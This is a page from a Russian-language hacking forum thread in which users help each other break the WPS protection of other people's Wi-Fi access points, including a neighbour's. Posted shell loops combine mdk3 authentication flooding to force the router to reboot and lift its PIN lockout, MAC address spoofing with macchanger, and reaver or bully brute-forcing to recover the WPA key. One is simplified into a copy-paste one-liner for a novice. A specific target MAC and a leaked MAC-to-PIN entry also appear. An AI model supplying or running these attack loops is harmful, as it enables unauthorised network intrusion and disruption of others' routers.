ANTICHAT - Уязвимость в протоколе Wi-Fi Protected Setup

На точке которая в нашем дворе не прокатило. После нескольких перезагрузок продолжает показывать wps, в винде предлагается нажать wps кнопку а вот ривер не идет, аиреплай говорит "Association denied (code 20). Вы с таким не встречались?

У меня такое было с Tp-linkom, тоже не мог понять почему не проходит ассоциация в reaver, пока не разобрался, клиент отключает пин-код роутера, а ставит произвольный свой, reaver показывает наличие открытого WPS, а асосцииацию невозможно произвести, ни с помощью reaver, ни с aireplay-ng.

http://s017.radikal.ru/i443/1312/0e/6867cf0d4f5d.png

Vikhedgehog

21.01.2014 15:40

Цитата:

Сообщение от Stranger@

Не совсем понял, чтоб wps отключился нужно чтоб вмешивался хозяин точки? И можно ли как-то вычислить новый PIN и потом запустить ривер с мак адресом уже подключенного компьютера чтоб получить пароль?

Klaatu

21.01.2014 17:21

Цитата:

Сообщение от Vikhedgehog

который во время перезагрузки точки заодно меняет мак адрес адаптера на рандомный

Код:

while true

do

timeout 15s mdk3 mon0 a -a XX:XX:XX:XX:XX:XX -s 200 -m

ifconfig mon0 down

macchanger -r mon0

ifconfig mon0 up

sleep 10

timeout -s SIGINT 60s bully -b XX:XX:XX:XX:XX:XX -v 3 -S -C -L -c 1,2,3,4,5,6,7,8,9,10,11,12,13 mon0

sleep 3

done

paulo

21.01.2014 18:12

Цитата:

Сообщение от Klaatu

Код:

while true

do

timeout 15s mdk3 mon0 a -a XX:XX:XX:XX:XX:XX -s 200 -m

ifconfig mon0 down

macchanger -r mon0

ifconfig mon0 up

sleep 10

timeout -s SIGINT 60s bully -b XX:XX:XX:XX:XX:XX -v 3 -S -C -L -c 1,2,3,4,5,6,7,8,9,10,11,12,13 mon0

sleep 3

done

Расскажите пожалуйста "на пальцах",что куда вводить. столкнулась с такой проблемой,что через 10 пинов точка уходит в лок ,обычно на сутки,но с помощью команды mdk3 ,я брала в пример Вашу,точка перезагружается,и снова позволяет пробить 10 пинов. как можно это сделать в автоматическом режиме? точнее-что куда прописать,и пользуюсь я ривером,не bully.

Vikhedgehog

21.01.2014 19:04

Цитата:

Сообщение от Klaatu

Код:

while true

do

timeout 15s mdk3 mon0 a -a XX:XX:XX:XX:XX:XX -s 200 -m

ifconfig mon0 down

macchanger -r mon0

ifconfig mon0 up

sleep 10

timeout -s SIGINT 60s bully -b XX:XX:XX:XX:XX:XX -v 3 -S -C -L -c 1,2,3,4,5,6,7,8,9,10,11,12,13 mon0

sleep 3

done

Спасибо)

Цитата:

Сообщение от Stranger@

Я когда попробовал сделать также в настройках (TL-WR841N) ассоциация продолжала работать, отключить пин код маршрутизатора = просто залочило wps. Так что видимо код 20 это что то другое. Или может прошивка какая-то особенная, не знаю.

Klaatu

21.01.2014 19:42

Цитата:

Сообщение от paulo

Расскажите пожалуйста "на пальцах",что куда вводить.

в командной строке в kali linux копируешь и вставляешь одной строкой:

Код:

while true; do timeout -s SIGINT 60s reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv -N -s /etc/reaver/XXXXXXXXXXXX.wpc -L; sleep 3; timeout 15s mdk3 mon0 a -a XX:XX:XX:XX:XX:XX -s 200 -m; sleep 10; done;

ohoo	21.01.2014 21:19

Цитата:

Сообщение от Klaatu

в командной строке в kali linux копируешь и вставляешь одной строкой:

Код:

while true; do timeout -s SIGINT 60s reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv -N -s /etc/reaver/XXXXXXXXXXXX.wpc -L; sleep 3; timeout 15s mdk3 mon0 a -a XX:XX:XX:XX:XX:XX -s 200 -m; sleep 10; done;

а как в бактраке запустить этот скрипт

Mr1perfeckt

21.01.2014 23:39

D8:EB:97:1F:3F:11 TRENDnet651

Кто поможет подобрать пин?

binarymaster

22.01.2014 00:25

Цитата:

Сообщение от Mr1perfeckt

D8:EB:97:1F:3F:11 TRENDnet651

Кто поможет подобрать пин?

Недавно пробовал подобрать пин к точке от акадо, по маку тоже начинающейся с D8:EB:97. Так и не подобрал. Перебрало все варианты первой части (2 раза пробовал), видимо возможность заблокирована из настроек роутера.

Да и по этому маку у меня очень маленькая статистика, всего одна запись в базе

D8:EB:97:14:12:CD | 31850483

4pips

22.01.2014 00:36

Из моих наблюдений, на Тренднет нужно ходить с булли: плохо они риверу отвечают и даже были случаи (специально проверял) риверу не отдают PSK, а булли отдают.

Я только одну точку встречал с D8:EB:97 и тоже именно с булли открыл, причем без заморочек. Но провайдер был не акадо.

Время: 23:31

Страница 152 из 489

152